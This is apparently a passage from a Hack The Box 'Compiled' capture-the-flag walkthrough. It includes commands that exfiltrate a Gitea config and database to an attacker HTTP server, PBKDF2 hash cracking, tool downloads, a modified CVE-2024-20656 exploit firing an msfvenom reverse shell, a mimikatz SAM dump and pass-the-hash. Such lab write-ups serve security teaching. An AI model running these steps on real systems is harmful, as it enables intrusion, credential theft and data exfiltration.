RUN_USER = COMPILED\Richard
APP_NAME = Git
RUN_MODE = prod
WORK_PATH = C:\Program Files\gitea
# ...
[database]
DB_TYPE = sqlite3
HOST = 127.0.0.1:3306
NAME = gitea
USER = gitea
PASSWD =
SCHEMA =
SSL_MODE = disable
PATH = C:\Program Files\gitea\data\gitea.db
LOG_SQL = false
# ...
[server]
SSH_DOMAIN = gitea.compiled.htb
DOMAIN = gitea.compiled.htb
HTTP_PORT = 3000
ROOT_URL = http://gitea.compiled.htb:3000/
APP_DATA_PATH = C:\Program Files\gitea/data
DISABLE_SSH = false
SSH_PORT = 22
LFS_START_SERVER = true
LFS_JWT_SECRET = ten8FWelzw36S77bYSUGlVCmrZn4jncN1ekaH1NoXO4
OFFLINE_MODE = false
# ...
[log]
MODE = console
LEVEL = info
ROOT_PATH = C:/Program Files/gitea/log
# ...
[security]
INSTALL_LOCK = true
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3MTY0MDEzMDR9.oQ3gsIgAi1_JTKKbw0lCKjwfcB3v7HvH6Wzb6M7dkE0
PASSWORD_HASH_ALGO = pbkdf2
[oauth2]
JWT_SECRET = XCXy54fFBqA-KAHA0Cjn5wp1gO4l-LY2-qgCS58VJO0
I also attempted to exfil this file, but was having issues with a regular
curl
upload:curl -F "file=@.\app.ini" http://10.10.14.10:8000
To work around this I’ll just send the data as base64:
$b64 = [System.convert]::ToBase64String((Get-Content -Path app.ini -Encoding byte)) Invoke-WebRequest -Uri http://10.10.14.10:8000/?b64=$b64
☝️ My simple-http-server will automatically decode anything handed to it with the b64 parameter. Normally it also handles file uploads just fine, but something seems to not be working for that.
This file provides us with the database credentials and filepath, and the password hashing algorithm (pbkdf2
). Let’s also exfiltrate the database. The database is roughly 2MB, so probably too large for a GET
parameter. Let’s send it as a POST
body instead:
simple-server 8000 -v | tee -a log.txt
cd ..\..\data
$b64 = [System.convert]::ToBase64String((Get-Content -Path gitea.db -Encoding byte))
Invoke-WebRequest -Uri http://10.10.14.10:8000/database -Method POST -Body $b64
Now there’s a bit of junk in the log.txt
file. Only the final line is the base64 data. Also, there are two tab characters preceding the actual data - let’s fix all that:
tail -n 1 log.txt | sed 's/^..//' | base64 -d > gitea.db
Alright, it looks like a valid database now. Let’s take a look inside:
sqlite3 gitea.db
# Make output formatting nicer
sqlite> .headers on
sqlite> .mode table
# Enumerate tables
sqlite> .tables
# There is a "user" table!
sqlite> .schema user
Wow that’s a big table. Let’s just take the important data:
SELECT id,name,is_admin,passwd,salt,passwd_hash_algo FROM user;
Great - let’s adjust that to make the data more conducive for copy-pasting:
.mode csv
.separator :
SELECT name,passwd,salt FROM user; # copy to clipboard
.quit
Now I’ll paste that into gitea.hash
and see if I can crack it. The passwd_hash_algo
field indicates that this is using 50,000 rounds of SHA256 and outputing a key of length 50 - very computationally intensive! 😱
🤔 Unfortunately, I wasn’t able to get either john
or hashcat
to recognize the hashing format. Perhaps I need to transform the hash a bit - there were a few example-hashes
in hashcat
that were pretty close but not quite the same format..?
After a long time of messing around with different formats, I still couldn’t get either john
or hashcat
to recognize the format! To get around this, I wrote my own cracking program. Please go ahead and download that repo to try it out.
The whole rockyou.txt
wordlist was a bit much for it (50,000 rounds!), so I thinned down the wordlist before running my program:
cd exploit
git clone https://github.com/4wayhandshake/Crack-PBKDF2-HMAC-SHA265.git
cd Crack-PBKDF2-HMAC-SHA265
PASSWDS=/usr/share/wordlists/rockyou.txt
head -n 10000 $PASSWDS > test_wordlist.txt
python3 crack_pbkdf2_hashes.py test_wordlist.txt ../../loot/gitea.hash
Thank goodness that HTB almost always uses passwords from
rockyou
. Otherwise, I wouldn’t even have a chance to crack this password…
After a few seconds, we have a result!
We found a gitea
credential - emily : 12345678. What a terrible password 😂
We saw earlier that Emily
is a member of Remote Management Users
; with a little luck, emily will have re-used this password for WinRM
:
evil-winrm -i $RADDR -u 'emily' -p '12345678'
😁 Alright! We now have a way to log in without re-exploiting the target. Plus, we already suspect that Emily
has the user flag:
There it is. Read it for some points, and we’ll move on to privesc:
type C:\Users\Emily\Desktop\user.txt
ROOT FLAG
Local enumeration - Emily
Manual Enum
Let’s check the privileges that Emily
has:
whoami /priv
I like to perform a little bit of manual enumeration before I jump into an automatic tool, so I’ll run through my usual list:
-
net users
-
net user emily
- networking stuff (are we in a Docker container?)
-
ipconfig /all
-
route print
-
arp -A
-
-
netstat -ano
(Any listeners only exposed locally?) -
tasklist
-
schtasks /query /fo LIST /v
(Check for scheduled processes. Usually just read the top 10) -
findstr /si "password" C:\Users\Emily\*.txt C:\Users\Emily\*.ini C:\Users\Emily\*.config
(basicallygrep -iR password C:\Users\Emily
)
We see something a little interesting in the schtasks /query
call:
# Cleanup script:
C:\Windows\System32\cmd.exe /c C:\Users\Richard\Documents\cleanup.bat
# Clone.sh (checked it out earlier):
C:\Program Files\Git\git-bash.exe" "C:\Users\Richard\Documents\clone.sh
# Flask server on port 5000
"C:\Program Files\Python312\python.exe" \app\app.py
# Visual Studio ..?
C:\Program Files (x86)\Microsoft Visual Studio\Installer\resources\app\ServiceHub\Services\Microsoft.VisualStudio.Setup.Service\BackgroundDownload.exe
It shouldn’t be a huge surprise that the box is running Visual Studio, but it’s definitely odd. Let’s take a mental note of this and move on.
💡 Often, performing manual enumeration is all about finding the “odd” things. These are the things that set the box apart from a typical baseline installation, and might be misconfigured!
Keeping this mindset will help you generate a short to-do list for the rest of your privesc investigation
Next I’ll check for interesting files. We can see Emily has a folder for Visual Studio in her Documents
:
Automatic Enum
The target host seems perfectly accepting of downloading exe
files, so I’ll grab a few handy tools:
(New-Object Net.WebClient).DownloadFile('http://10.10.14.10:8000/winPEASany.exe','C:\Users\Emily\Downloads\winPEAS.exe')
(New-Object Net.WebClient).DownloadFile('http://10.10.14.10:8000/Ghostpack-CompiledBinaries/SharpUp.exe', 'C:\Users\Emily\Downloads\SharpUp.exe')
WinPEAS points out that Emily has accessed some interesting things recently, including powershell, the task scheduler, and services.msc
:
Let’s check out services.msc
to see the running services, and see what Emily has been up to:
services.msc
OK, we just found a service related to Visual Studio. Again, it’s not entirely unexpected, it’s just a little weird. Let’s do a quick Google search to see if anything comes up.
A search for “Visual Studio VSStandardCollectorService150 privilege escalation exploit CVE” leads us straight to an article talking about how to privesc based on that program 😮
CVE-2024-20656
Research
Apparently, there’s a flaw in Visual Studio that affects how directories are linked to each other, or something..? It’s not super clear. I don’t have a very deep background in this stuff. Thankfully though, the author left a PoC on Github.
😬 The downside is that the PoC must be an actual Visual Studio project: there’s not going to be any way around using Windows to get this working.
Modify and Compile
I don’t have any Windows system available, unfortunately. It sure is frustrating when there’s no way to work around using Windows!
Thankfully, I found some kind and generous person (
@malvik
) who took the above PoC and compiled it for me. He had to change the version to Visual Studio 2019, and the payload was modified as indicated below 👇
The payload itself is hardcoded within the cb1()
function. In the PoC, this copies cmd.exe
to overwrite MofCompiler.exe
(then runs it), but we have changed the payload to run a reverse shell instead.
void cb1()
{
printf("[*] Oplock!\n");
while (!Move(hFile2)) {}
printf("[+] File moved!\n");
CopyFile(L"c:\\programdata\\revshell.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
finished = TRUE;
}
For this to do anything, we must create a program to open a reverse shell, serve the reverse shell to the target, then open the reverse shell listener:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.14 LPORT=4444 -f exe -o revshell.exe
sudo ufw allow from $RADDR to any port 4444
bash
rlwrap nc -lvnp 4444
Let’s toss the exploit Expl.exe
and revshell.exe
into C:\ProgramData
and try running it:
upload Expl.exe
upload revshell.exe
.\Expl.exe
We see [+] Persmissions successfully reseted!
, but we don’t actually see the payload in cb1()
firing…
Maybe it’s a permissions thing? Sometimes, we can’t run everything directly out of WinRM - we need to explicitly run it as the user:
upload RunasCs.exe
.\RunasCs.exe emily 12345678 ".\Expl.exe"
Bingo! That did the trick. The print statements inside cb1()
are now visible - that’s a really good sign:
😁 Checking our reverse shell listener, we see that the exploit had the desired effect:
The flag is in the usual spot. Just type
it out to finish off the box:
type C:\Users\Administrator\Desktop\root.txt
🎉 Awesome! So glad to be done this one.
CLEANUP
Target
I’ll get rid of all the tools I transferred to the box
del "C:\Users\Emily\Downloads\*.*"
del "C:\ProgramData\Expl.exe"
del "C:\ProgramData\revshell.exe"
Attacker
There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:
rm loot/gitea.db loot/gitea.hash
It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw
rules:
NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;
EXTRA CREDIT: FULL PWN
Mimikatz (lsadump::sam)
Transferred mimikatz.exe
to the target box using my Emily WinRM connection, via my HTTP server.
Note that this is the copy of mimikatz from kali:
/usr/share/windows-resources/mimikatz/Win32/mimikatz.exe
(New-Object Net.WebClient).DownloadFile('http://10.10.14.14:8000/mimikatz.exe', 'C:\ProgramData\mimikatz.exe')
Then, using the administrator reverse shell, we run mimikatz.exe
:
.\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"
Since we’re administrator, we get a dump of ALL of the hashes (including, of course, administrator
itself) 🤑
💰 We can now use the NTLM hash in lieu of a password, and ditch our reverse shell for a fancy WinRM connection:
evil-winrm -i compiled.htb -u administrator -H f75c95bc[...................]938061e
LESSONS LEARNED

Attacker
- 🤡 Keep RunasCs.exe handy. If you get permission errors, try using RunasCs. Heck, if something just doesn’t run like you think it should, try using RunasCs.
- 📂 Use evil-winrm for file transfer. I don’t use meterpreter very often, so personally I forget that people don’t transfer files over SMB and HTTP all the time. It’s quick and really easy - just do it!
- 📚 Spend a minute or two researching every “odd” thing. Even if it seems inconsequential, like the presence of Visual Studio, just do one quick google search on the version number, service name, etc… There’s a good chance that you’re following in the footsteps of a skilled security researcher!

Defender
💪 Strong hashing is worthless if you’re still using weak passwords. On this box, we recovered hashes for three unknown passwords from the
gitea
database. The hashing algorithm that they used definitely follow best-practices, but Emily’s password was terrible. As a result, we were able to crack the password within a matter of seconds despite the very strong hashing.🕐 Keep your dev software updated. I know it sounds like a cheap-shot to say “keep all your things updated all the time”, but on this box we encountered
git
that was several minor versions behind, and a copy of Visual Studio that was at least four years out of date! No excuses for that level of sluggishness ☝️
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake